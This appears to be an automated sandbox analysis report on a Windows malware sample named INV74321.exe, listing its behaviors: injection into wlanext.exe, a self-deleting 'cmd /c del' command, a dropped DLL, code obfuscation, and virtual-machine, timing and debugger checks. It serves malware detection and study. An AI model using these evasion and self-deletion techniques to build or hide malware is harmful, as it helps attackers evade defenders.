Source: C:\Users\user\Desktop\INV74321.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Sample is known by Antivirus

Source: INV74321.exe	Virustotal: Detection: 30%
Source: INV74321.exe	Metadefender: Detection: 14%
Source: INV74321.exe	ReversingLabs: Detection: 72%

Sample reads its own file content

Source: C:\Users\user\Desktop\INV74321.exe

File read: C:\Users\user\Desktop\INV74321.exe

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\INV74321.exe 'C:\Users\user\Desktop\INV74321.exe'
Source: C:\Users\user\Desktop\INV74321.exe	Process created: C:\Users\user\Desktop\INV74321.exe 'C:\Users\user\Desktop\INV74321.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wlanext.exe C:\Windows\SysWOW64\wlanext.exe
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\INV74321.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\INV74321.exe	Process created: C:\Users\user\Desktop\INV74321.exe 'C:\Users\user\Desktop\INV74321.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\INV74321.exe'			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\INV74321.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: INV74321.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:	Binary string: MusNotifyIcon.pdb source: explorer.exe, 00000005.00000000.244743152.000000000F686000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: INV74321.exe, 00000000.00000003.214730841.0000000002B90000.00000004.00000001.sdmp, INV74321.exe, 00000001.00000002.257577232.0000000000BCF000.00000040.00000001.sdmp, wlanext.exe, 00000008.00000002.474058438.000000000383F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: INV74321.exe, wlanext.exe
Source:	Binary string: wlanext.pdb source: INV74321.exe, 00000001.00000002.257445495.0000000000A50000.00000040.00000001.sdmp
Source:	Binary string: MusNotifyIcon.pdbGCTL source: explorer.exe, 00000005.00000000.244743152.000000000F686000.00000004.00000001.sdmp
Source:	Binary string: wlanext.pdbGCTL source: INV74321.exe, 00000001.00000002.257445495.0000000000A50000.00000040.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\INV74321.exe

Unpacked PE file: 1.2.INV74321.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0040102D pushfd ; ret		1_2_0040102E
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004160CD push 00000033h; iretd		1_2_004160F6
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004161E9 push es; retf		1_2_00416257
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041624E push es; retf		1_2_00416257
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041B3B5 push eax; ret		1_2_0041B408
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041B46C push eax; ret		1_2_0041B472
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041B402 push eax; ret		1_2_0041B408
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041B40B push eax; ret		1_2_0041B472
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00418F45 push es; ret		1_2_00418F4B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041CFEE push dword ptr [C5AA8973h]; retn EADCh		1_2_0041D044
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B2D0D1 push ecx; ret		1_2_00B2D0E4
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0040102D pushfd ; ret		1_1_0040102E
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004160CD push 00000033h; iretd		1_1_004160F6
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004161E9 push es; retf		1_1_00416257
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0041624E push es; retf		1_1_00416257
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0041B3B5 push eax; ret		1_1_0041B408
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0041B46C push eax; ret		1_1_0041B472
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0041B402 push eax; ret		1_1_0041B408
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0041B40B push eax; ret		1_1_0041B472
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0379D0D1 push ecx; ret		8_2_0379D0E4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CC381 pushad ; retf		8_2_030CC382
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CB3B5 push eax; ret		8_2_030CB408
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C624E push es; retf		8_2_030C6257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C61E9 push es; retf		8_2_030C6257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C60CD push 00000033h; iretd		8_2_030C60F6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C8F45 push es; ret		8_2_030C8F4B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CB40B push eax; ret		8_2_030CB472
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CB402 push eax; ret		8_2_030CB408
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CB46C push eax; ret		8_2_030CB472

Persistence and Installation Behavior:

Drops PE files

Source: C:\Users\user\Desktop\INV74321.exe

File created: C:\Users\user\AppData\Local\Temp\nsi6113.tmp\q7pl.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\INV74321.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\INV74321.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\INV74321.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe	RDTSC instruction interceptor: First address: 00000000030B85E4 second address: 00000000030B85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe	RDTSC instruction interceptor: First address: 00000000030B897E second address: 00000000030B8984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Contains capabilities to detect virtual machines

Source: C:\Users\user\Desktop\INV74321.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\explorer.exe TID: 5468	Thread sleep time: -45000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe TID: 6748	Thread sleep time: -48000s >= -30000s			Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe	Last function: Thread delayed

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,		0_2_0040646B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		0_2_004058BF
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_004027A1 FindFirstFileA,		0_2_004027A1

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: explorer.exe, 00000005.00000000.238911410.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.238911410.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000005.00000000.231378455.0000000004DF3000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.231773140.0000000004E61000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}qqqqqqqqqqqqqq
Source: explorer.exe, 00000005.00000000.237685371.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.237953316.0000000008640000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.233054387.00000000055D0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000005.00000000.238911410.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000005.00000000.238911410.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000005.00000000.239170353.00000000087D1000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000005.00000002.484763017.0000000005603000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000005.00000000.237685371.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000005.00000000.237685371.0000000008220000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.242904889.00000000089C5000.00000004.00000001.sdmp	Binary or memory string: qeMusic
Source: explorer.exe, 00000005.00000000.237685371.0000000008220000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Queries a list of all running processes

Source: C:\Users\user\Desktop\INV74321.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\INV74321.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process queried: DebugPort			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 1_2_00409B20 LdrLoadDll,

1_2_00409B20

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_10001000 mov eax, dword ptr fs:[00000030h]		0_2_10001000
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_023F17F3 mov eax, dword ptr fs:[00000030h]		0_2_023F17F3
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_023F15DB mov eax, dword ptr fs:[00000030h]		0_2_023F15DB
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0F0BF mov ecx, dword ptr fs:[00000030h]		1_2_00B0F0BF
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0F0BF mov eax, dword ptr fs:[00000030h]		1_2_00B0F0BF
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0F0BF mov eax, dword ptr fs:[00000030h]		1_2_00B0F0BF
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0 mov eax, dword ptr fs:[00000030h]		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0 mov eax, dword ptr fs:[00000030h]		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0 mov eax, dword ptr fs:[00000030h]		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0 mov eax, dword ptr fs:[00000030h]		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0 mov eax, dword ptr fs:[00000030h]		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0 mov eax, dword ptr fs:[00000030h]		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B190AF mov eax, dword ptr fs:[00000030h]		1_2_00B190AF
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9080 mov eax, dword ptr fs:[00000030h]		1_2_00AD9080
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B53884 mov eax, dword ptr fs:[00000030h]		1_2_00B53884
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B53884 mov eax, dword ptr fs:[00000030h]		1_2_00B53884
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD58EC mov eax, dword ptr fs:[00000030h]		1_2_00AD58EC
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		1_2_00B6B8D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6B8D0 mov ecx, dword ptr fs:[00000030h]		1_2_00B6B8D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		1_2_00B6B8D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		1_2_00B6B8D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		1_2_00B6B8D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6B8D0 mov eax, dword ptr fs:[00000030h]		1_2_00B6B8D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEB02A mov eax, dword ptr fs:[00000030h]		1_2_00AEB02A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEB02A mov eax, dword ptr fs:[00000030h]		1_2_00AEB02A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEB02A mov eax, dword ptr fs:[00000030h]		1_2_00AEB02A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEB02A mov eax, dword ptr fs:[00000030h]		1_2_00AEB02A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0002D mov eax, dword ptr fs:[00000030h]		1_2_00B0002D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0002D mov eax, dword ptr fs:[00000030h]		1_2_00B0002D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0002D mov eax, dword ptr fs:[00000030h]		1_2_00B0002D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0002D mov eax, dword ptr fs:[00000030h]		1_2_00B0002D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0002D mov eax, dword ptr fs:[00000030h]		1_2_00B0002D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B57016 mov eax, dword ptr fs:[00000030h]		1_2_00B57016
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B57016 mov eax, dword ptr fs:[00000030h]		1_2_00B57016
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B57016 mov eax, dword ptr fs:[00000030h]		1_2_00B57016
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA4015 mov eax, dword ptr fs:[00000030h]		1_2_00BA4015
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA4015 mov eax, dword ptr fs:[00000030h]		1_2_00BA4015
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B92073 mov eax, dword ptr fs:[00000030h]		1_2_00B92073
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA1074 mov eax, dword ptr fs:[00000030h]		1_2_00BA1074
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF0050 mov eax, dword ptr fs:[00000030h]		1_2_00AF0050
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF0050 mov eax, dword ptr fs:[00000030h]		1_2_00AF0050
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B551BE mov eax, dword ptr fs:[00000030h]		1_2_00B551BE
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B551BE mov eax, dword ptr fs:[00000030h]		1_2_00B551BE
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B551BE mov eax, dword ptr fs:[00000030h]		1_2_00B551BE
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B551BE mov eax, dword ptr fs:[00000030h]		1_2_00B551BE
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B061A0 mov eax, dword ptr fs:[00000030h]		1_2_00B061A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B061A0 mov eax, dword ptr fs:[00000030h]		1_2_00B061A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B569A6 mov eax, dword ptr fs:[00000030h]		1_2_00B569A6
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02990 mov eax, dword ptr fs:[00000030h]		1_2_00B02990
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFC182 mov eax, dword ptr fs:[00000030h]		1_2_00AFC182
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0A185 mov eax, dword ptr fs:[00000030h]		1_2_00B0A185
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADB1E1 mov eax, dword ptr fs:[00000030h]		1_2_00ADB1E1
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADB1E1 mov eax, dword ptr fs:[00000030h]		1_2_00ADB1E1
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADB1E1 mov eax, dword ptr fs:[00000030h]		1_2_00ADB1E1
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B641E8 mov eax, dword ptr fs:[00000030h]		1_2_00B641E8
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0513A mov eax, dword ptr fs:[00000030h]		1_2_00B0513A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0513A mov eax, dword ptr fs:[00000030h]		1_2_00B0513A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF4120 mov eax, dword ptr fs:[00000030h]		1_2_00AF4120
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF4120 mov eax, dword ptr fs:[00000030h]		1_2_00AF4120
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF4120 mov eax, dword ptr fs:[00000030h]		1_2_00AF4120
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF4120 mov eax, dword ptr fs:[00000030h]		1_2_00AF4120
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF4120 mov ecx, dword ptr fs:[00000030h]		1_2_00AF4120
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9100 mov eax, dword ptr fs:[00000030h]		1_2_00AD9100
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9100 mov eax, dword ptr fs:[00000030h]		1_2_00AD9100
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9100 mov eax, dword ptr fs:[00000030h]		1_2_00AD9100
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADC962 mov eax, dword ptr fs:[00000030h]		1_2_00ADC962
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADB171 mov eax, dword ptr fs:[00000030h]		1_2_00ADB171
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADB171 mov eax, dword ptr fs:[00000030h]		1_2_00ADB171
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFB944 mov eax, dword ptr fs:[00000030h]		1_2_00AFB944
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFB944 mov eax, dword ptr fs:[00000030h]		1_2_00AFB944
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0FAB0 mov eax, dword ptr fs:[00000030h]		1_2_00B0FAB0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		1_2_00AD52A5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		1_2_00AD52A5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		1_2_00AD52A5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		1_2_00AD52A5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD52A5 mov eax, dword ptr fs:[00000030h]		1_2_00AD52A5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEAAB0 mov eax, dword ptr fs:[00000030h]		1_2_00AEAAB0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEAAB0 mov eax, dword ptr fs:[00000030h]		1_2_00AEAAB0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0D294 mov eax, dword ptr fs:[00000030h]		1_2_00B0D294
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0D294 mov eax, dword ptr fs:[00000030h]		1_2_00B0D294
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02AE4 mov eax, dword ptr fs:[00000030h]		1_2_00B02AE4
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02ACB mov eax, dword ptr fs:[00000030h]		1_2_00B02ACB
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B14A2C mov eax, dword ptr fs:[00000030h]		1_2_00B14A2C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B14A2C mov eax, dword ptr fs:[00000030h]		1_2_00B14A2C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE8A0A mov eax, dword ptr fs:[00000030h]		1_2_00AE8A0A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF3A1C mov eax, dword ptr fs:[00000030h]		1_2_00AF3A1C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADAA16 mov eax, dword ptr fs:[00000030h]		1_2_00ADAA16
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADAA16 mov eax, dword ptr fs:[00000030h]		1_2_00ADAA16
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD5210 mov eax, dword ptr fs:[00000030h]		1_2_00AD5210
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD5210 mov ecx, dword ptr fs:[00000030h]		1_2_00AD5210
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD5210 mov eax, dword ptr fs:[00000030h]		1_2_00AD5210
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD5210 mov eax, dword ptr fs:[00000030h]		1_2_00AD5210
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B1927A mov eax, dword ptr fs:[00000030h]		1_2_00B1927A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B8B260 mov eax, dword ptr fs:[00000030h]		1_2_00B8B260
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B8B260 mov eax, dword ptr fs:[00000030h]		1_2_00B8B260
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA8A62 mov eax, dword ptr fs:[00000030h]		1_2_00BA8A62
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B64257 mov eax, dword ptr fs:[00000030h]		1_2_00B64257
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9EA55 mov eax, dword ptr fs:[00000030h]		1_2_00B9EA55
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9240 mov eax, dword ptr fs:[00000030h]		1_2_00AD9240
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9240 mov eax, dword ptr fs:[00000030h]		1_2_00AD9240
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9240 mov eax, dword ptr fs:[00000030h]		1_2_00AD9240
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD9240 mov eax, dword ptr fs:[00000030h]		1_2_00AD9240
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B04BAD mov eax, dword ptr fs:[00000030h]		1_2_00B04BAD
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B04BAD mov eax, dword ptr fs:[00000030h]		1_2_00B04BAD
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B04BAD mov eax, dword ptr fs:[00000030h]		1_2_00B04BAD
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA5BA5 mov eax, dword ptr fs:[00000030h]		1_2_00BA5BA5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0B390 mov eax, dword ptr fs:[00000030h]		1_2_00B0B390
